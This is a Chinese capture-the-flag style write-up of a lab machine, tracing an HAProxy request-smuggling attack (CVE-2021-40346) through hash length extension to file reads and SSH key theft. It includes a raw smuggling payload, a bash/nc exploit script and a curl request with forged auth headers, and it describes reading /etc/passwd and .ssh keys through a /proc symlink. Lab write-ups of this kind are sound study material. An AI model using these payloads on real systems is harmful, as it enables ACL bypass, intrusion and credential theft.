从HAProxy请求走私到hash长度拓展攻击

免责声明

声明：虚拟环境演示

打开站点发现是用gitea搭建的，而且左上角探索点进去直接发现了user，以及整个网站的架构

进入该user项目当中，在最底部发现了HA-Proxy,并且版本是2.2.16

心中闪过一个念头，CVE-2021-40346？？？于是尝试进行HAProxy请求走私；该漏洞是一个整数溢出漏洞，可以进行HTTP请求走私攻击，这种攻击允许攻击者将HTTP请求“走私”到后端服务器，而代理服务器不知道这一点，走私的请求会产生各种影响，比如：

1
2
3
4
5

绕过安全控制，包括 HAProxy 中定义的任何 ACL
未经授权访问敏感数据
执行未经授权的命令或修改数据
劫持用户会话
无需用户交互即可利用反射型 XSS 漏洞
TEXT

HTTP请求走私它基于干扰前端服务器（即HAProxy）和后端服务器之间的HTTP请求处理。攻击者通常通过发送特制的请求来利用此技术，该请求的正文中包含附加请求，成功攻击后，内部请求会通过前端走私（前端将其视为仅请求的正文），但会被后端作为正常请求使用
常利用的攻击场景——绕过 http 请求 ACL：触发HTTP请求走私攻击以绕过HAProxy定义的ACL规则

payload:

1
2
3
4
5
6
7
8

POST /guest HTTP/1.1
Host: xx.xxxxx.xx:10001
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 23

GET /admin HTTP/1.1
h:GET /guest HTTP/1.1
Host: xx.xxxxx.xx:10001
APACHE

参考文章：https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/

接下来利用ha代理漏洞，通过尝试请求走私访问子域，fuzz一下子域

抓包，通过payload构造数据包，如果用burp的话，需要关掉burp的自动内容长度更新，然后自己根据实际请求手动指定Content-Length

根据payload,可以写一个bash脚本，通过整数溢出导致的请求走私来读取敏感信息

1
2
3
4
5
6
7

#!/bin/bash

path=$1
cl=$((16+`echo $path | wc -m`))
caixukun="POST / HTTP/1.1rnHost: ouija.htbrnContent-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:rnContent-Length: $clrnrnGET $path HTTP/1.1rnh:GET / HTTP/1.1rnHost: ouija.htbrnrn"

echo -ne $caixukun | nc -w 1 ouija.htb 80 | sed -n '428,$p'
SWIFT

尝试访问子域，发现了两个敏感文件，一个js和一个bash脚本

尝试读取，发现可以读取成功
app.js

init.sh:

1
2
3
4
5
6
7
8
9
10

echo "$(date) api config starts" >>
mkdir -p .config/bin .config/local .config/share /var/log/zapi
export k=$(cat /opt/auth/api.key)
export botauth_id="bot1:bot"
export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1"
ln -s /proc .config/bin/process_informations
echo "$(date) api config done" >> /var/log/zapi/api.log

exit 1
BASH

在前期信息收集阶段，发现了一个3000端口，访问了users路由，提示缺少ihash header，测试添加后提示缺少identification header，添加identification后也是token无效

在init.sh脚本里面有个api.log的日志文件，再次尝试读取，发现读不到，审计js代码，发现接口只有/file/get可以工作，并且如果要调用这个api的话，需要hearder identification和ihash才能访问

那说明和那个3000端口有联系？而identification和ihash也存在init.sh里面，那带上identification和ihash试试？

1

curl -H 'ihash: 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1' -H "identification: `echo -ne bot1:bot | xxd -plain | base64`" "http://ouija.htb:3000/users"
1C

好好好，直接给我说没权限..继续审计js代码，发现想要调用/file/get功能，需要过了ensure_auth函数校验。此函数又调用了verify_cookies和d函数，分别是一个sha256和base64+hex

而且我发现在检查identification是否存在::admin:True时连接出错，貌似只是简单地进行存在性检查，那如果我的identification包含::admin:True和其他字符，是否就可以绕过？？

综上，现有情况就是：我们知道所需的部分明文和函数加密方式，以及目标hash，但并不知道所需的长度是多少，在这种场景可以进行hash长度扩展攻击，我觉得暴破长度总比暴破密钥简单多了吧，上脚本

这样一来，就获得了以管理员身份访问端口3000的权限，就可以利用/file/get接口读取敏感信息，先尝试读取一下刚才的那两个文件，发现成功读取init.sh

可以发现，init.sh里有一行“ln -s /proc .config/bin/process_informations”，是个软链接，所以我们可以利用这个软链接通过proc过去来读取其他文件（刚才我为啥没注意到），尝试读取/etc/passwd

既然这样，我们就可以尝试读取.ssh目录，如果有私钥，就可以直接窃取私钥进行ssh免密登录，从而拿下控制权限

okk，加上一开始就泄漏了一个用户名，尝试ssh登录

这个时候其实已经拿下了，但进都进去了，不得看看？所以下面的就是写着玩的

发现根目录下面有个development文件夹，在里面有一个网站的架构目录和一些文件

审计一下index.php，发现用户名和密码被传递给函数say_lverifier

查看一下/usr/lib/php下的文件，发现了一个lverifier.so，它与被调用的函数名称很相似，而且它是可读的，下载到本地，然后逆向分析一下

这里我用chisel搭建隧道，将流量代理出来，方便下载lverifier.so

浅浅逆向分析一下

我看到在调用say_lverifier函数之后，程序继续调用validating_userinput函数

sVar2是输入内容的大小，它的数据类型是 size_t，这个类型的最大值是 0xffff，即65535，当我插入一个长度超过这个数字的字符串时，它会发生溢出，并进入上述的检查情况。随后程序将调用 event_recorder函数来执行文件保存操作

哎 太菜了…分析不动了
吃午饭了

使用需知

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

封面图片来源网络，如有侵权联系必删。

安全小白，不喜绕过。

原文始发于微信公众号（天启实验室）：从HAProxy请求走私到hash长度拓展攻击